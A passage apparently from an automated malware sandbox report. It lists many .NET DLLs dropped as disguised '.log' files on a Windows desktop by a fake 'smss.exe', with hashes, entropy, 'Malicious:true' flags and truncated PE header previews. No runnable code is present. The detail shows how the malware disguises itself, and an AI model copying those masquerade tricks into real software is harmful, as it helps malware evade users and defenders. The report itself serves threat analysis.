                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\RjMIUKBA.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\RmJzPmlg.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\RvybggSu.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\SDBjpglR.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\SOkiUrKM.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\SQtrKQCA.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\SXdSXxwk.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\SkWashNS.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\TAegQgOV.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\TPgybpWs.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\TUFasxLe.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\TYajduIQ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38400
                                                    Entropy (8bit):5.699005826018714
                                                    Encrypted:false
                                                    SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                    MD5:87765D141228784AE91334BAE25AD743
                                                    SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                    SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                    SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\UBZIRdMt.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\USgagzGv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):342528
                                                    Entropy (8bit):6.170134230759619
                                                    Encrypted:false
                                                    SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                    MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                    SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                    SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                    SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\Ugdrnucn.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\VZCzbHCt.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\VaMRzdNM.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\WEaYcoKF.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\WJzBtwzr.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\WREyIwhX.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):32256
                                                    Entropy (8bit):5.631194486392901
                                                    Encrypted:false
                                                    SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                    MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                    SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                    SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                    SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                    Malicious:true
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\WbCjOPFa.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
